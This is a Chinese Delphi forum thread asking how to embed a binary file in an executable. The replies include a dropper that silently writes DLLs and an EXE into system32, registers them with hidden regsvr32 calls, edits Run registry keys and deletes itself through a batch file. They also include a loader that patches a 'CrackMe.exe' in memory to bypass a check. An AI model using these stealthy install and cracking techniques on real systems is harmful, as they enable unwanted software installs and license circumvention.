如何把一个bin文件捆绑到一个可执行文件exe中?很急的!(50分)

  • 主题发起人 主题发起人 sunnysheng
  • 开始时间 开始时间
S

sunnysheng

Unregistered / Unconfirmed
GUEST, unregistred user!
如何把一个bin文件捆绑到一个可执行文件exe中?而且可以读bin文件里的内容进行处理?请教各位大侠了,谢谢!
 
不知道用资源文件可不可以。<br>或者用流的方式加载到文件末尾。。
 
用资源的话,好象还是要把资源文件写到磁盘上访问的啊,不过如果能把资源文件释放到内存中来访问也不错的。就不知道哪位会!
 
其实最简单的就是追加到exe文件的最后啊。<br>因为PE文件的装载在exe中是有明确定义的,末尾的添加不会有任何影响。你只要在你添加的文件中,记录一下长度,就可以在程序中使用了。<br><br>Good Luck!
 
xiammy Thank you!!!能不能具体点啊?PE文件是什么?如何定义?
 
这还不简单哦,把二进制用流做成资源加到EXE里,再用流读出来(需要生成一个临时文件)。给分吧。。。。。。
 
IEBand FILE1 IEBand.dll<br>aKiller FILE2 aKiller.dll<br>Key FILE3 Key.dll<br>ShowIEBand FILE4 ShowIEBand.dll<br>config FILE5 config.ini<br>Server FILE6 Server.ini<br>UpData FILE7 UpData.exe<br><br>资源文件上面的<br><br>底下是释放<br>program InsertIEBand;<br><br>{$APPTYPE CONSOLE}<br><br>uses<br> &nbsp;SysUtils,ShellApi,Windows,Classes,forms;<br><br>{$R Rec.res} &nbsp;<br>var<br> &nbsp;Res: TResourceStream;<br><br>procedure DeleteRegKeyValue(Root: DWORD; Key: string; ValueName: string = '');<br>var<br> &nbsp;KeyHandle: HKEY;<br>begin<br> &nbsp;if ValueName = '' then<br> &nbsp; &nbsp;RegDeleteKey(Root, PChar(Key));<br> &nbsp;if RegOpenKey(Root, PChar(Key), KeyHandle) = ERROR_SUCCESS then<br> &nbsp;try<br> &nbsp; &nbsp;RegDeleteValue(KeyHandle, PChar(ValueName));<br> &nbsp;finally<br> &nbsp; &nbsp;RegCloseKey(KeyHandle);<br> &nbsp;end;<br>end;<br><br>function CreateDelBat(BatName,ExeName: String):String;<br>var<br> &nbsp;stBat : TStrings;<br>begin<br> &nbsp;Result := '';<br> &nbsp;stBat := TStringList.Create;<br> &nbsp;try<br> &nbsp; &nbsp;StBat.Add('echo off');<br> &nbsp; &nbsp;StBat.Add(':1');<br> &nbsp; &nbsp;StBat.Add('Erase &quot;' + ExeName + '&quot;');<br> &nbsp; &nbsp;StBat.Add('If exist &quot;exe&quot; Goto 1');<br> &nbsp; &nbsp;StBat.Add('Erase %0');<br> &nbsp; &nbsp;StBat.SaveToFile(BatName + '.Bat');<br> &nbsp; &nbsp;Result := BatName + '.Bat';<br> &nbsp;finally<br> &nbsp; &nbsp;stBat.Free;<br> &nbsp;end;<br>end; <br><br><br>begin<br><br> &nbsp;{ TODO -oUser -cConsole Main : Insert code here }<br> &nbsp;if &nbsp;DirectoryExists('C:/WINNT/system32/IEBand')=false then<br> &nbsp; &nbsp;if ForceDirectories('C:/WINNT/system32/IEBand')=false then Exit;<br><br> &nbsp;CreateDelBat('clear',application.Exename);<br><br> &nbsp;//卸载原来的插件<br> &nbsp;if FileExists('C:/WINNT/system32/IEBand/IEBand.dll') then<br> &nbsp; &nbsp;WinExec(PAnsiChar('regsvr32 &nbsp;/u /s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);<br> &nbsp;if FileExists('C:/WINNT/system32/IEBand/ShowIEBand.dll') then<br> &nbsp; &nbsp;WinExec(PAnsiChar('regsvr32 &nbsp;/u /s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);<br> &nbsp;if FileExists('C:/WINNT/system32/IEBand/aKiller.dll') then<br> &nbsp; &nbsp;WinExec(PAnsiChar('regsvr32 &nbsp;/u /s C:/WINNT/system32/IEBand/aKiller.dll'), SW_HIDE);<br><br> &nbsp;res:=Tresourcestream.Create(HInstance,'IEBand','FILE1');<br> &nbsp;try<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/IEBand.dll'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'aKiller','FILE2');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/aKiller.dll'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'Key','FILE3');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/Key.dll'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'ShowIEBand','FILE4');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/ShowIEBand.dll'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'config','FILE5');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/config.ini'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'Server','FILE6');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/Server.ini'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;try<br> &nbsp; &nbsp;res:=Tresourcestream.Create(HInstance,'UpData','FILE7');<br> &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp;Res.SaveToFile('C:/WINNT/system32/IEBand/UpData.exe'); //将资源保存为文件,即还原文件<br> &nbsp; &nbsp;finally<br> &nbsp; &nbsp; &nbsp;freeandnil(Res);<br> &nbsp; &nbsp;end;<br> &nbsp;except<br> &nbsp;end;<br><br> &nbsp;WinExec(PAnsiChar('regsvr32 &nbsp;/s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);<br> &nbsp;WinExec(PAnsiChar('regsvr32 &nbsp;/s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);<br><br> &nbsp;//删除注册信息<br> &nbsp;DeleteRegKeyValue(HKEY_LOCAL_MACHINE,<br> &nbsp; &nbsp;'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');<br> &nbsp;DeleteRegKeyValue(HKEY_CURRENT_USER,<br> &nbsp; &nbsp;'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');<br><br> &nbsp;ShellExecute(0, 'open', 'clear.bat', '', '', 0)<br><br> &nbsp;<br>end.
 
而且可以读bin文件里的内容进行处理?<br><br>前面用资源或者是流的方法很好班<br>后面要读写bin的内容 我也不会<br>如果你的这个bin以exe形式运行起来了的话<br>可以试试内存读写<br><br>program Loader;<br><br>uses<br> &nbsp;Windows,TlHelp32;<br><br>const<br> &nbsp;OldData : array[0..1] of byte = ($75,$36);<br> &nbsp;NewData : array[0..1] of byte = ($90,$90);<br><br>var<br> &nbsp;StartInfo: TStartupInfo;<br> &nbsp;ProcInfo: TProcessInformation;<br> &nbsp;BytesRead : DWORD;<br> &nbsp;TmpData : array[0..1] of Byte;<br><br>begin<br> &nbsp;ZeroMemory(@StartInfo, SizeOf(TStartupInfo));<br> &nbsp;StartInfo.cb := SizeOf(TStartupInfo);<br> &nbsp;if not CreateProcess(nil,'CrackMe.exe', nil, nil, False, Create_Suspended, nil, nil, StartInfo, ProcInfo) then Exit;<br> &nbsp;ReadProcessMemory(ProcInfo.hProcess,Pointer($408645),@TmpData,2,BytesRead);<br> &nbsp;if (TmpData[0] = OldData[0]) and (TmpData[1] = OldData[1]) then<br> &nbsp;begin<br> &nbsp; &nbsp;if WriteProcessMemory(ProcInfo.hProcess, Pointer($408645), @NewData, 2, BytesRead) then<br> &nbsp; &nbsp; &nbsp;MessageBox(0,'恭喜补丁成功',nil,0) else MessageBox(0,'不好意思补丁失败',nil,0);<br> &nbsp;end else<br> &nbsp;begin<br> &nbsp; &nbsp;MessageBox(0,'不好意思补丁失败',nil,0)<br> &nbsp;end;<br> &nbsp;ResumeThread(ProcInfo.hThread);<br> &nbsp;CloseHandle(ProcInfo.hProcess);<br> &nbsp;CloseHandle(ProcInfo.hThread);<br>end.
 
后退
顶部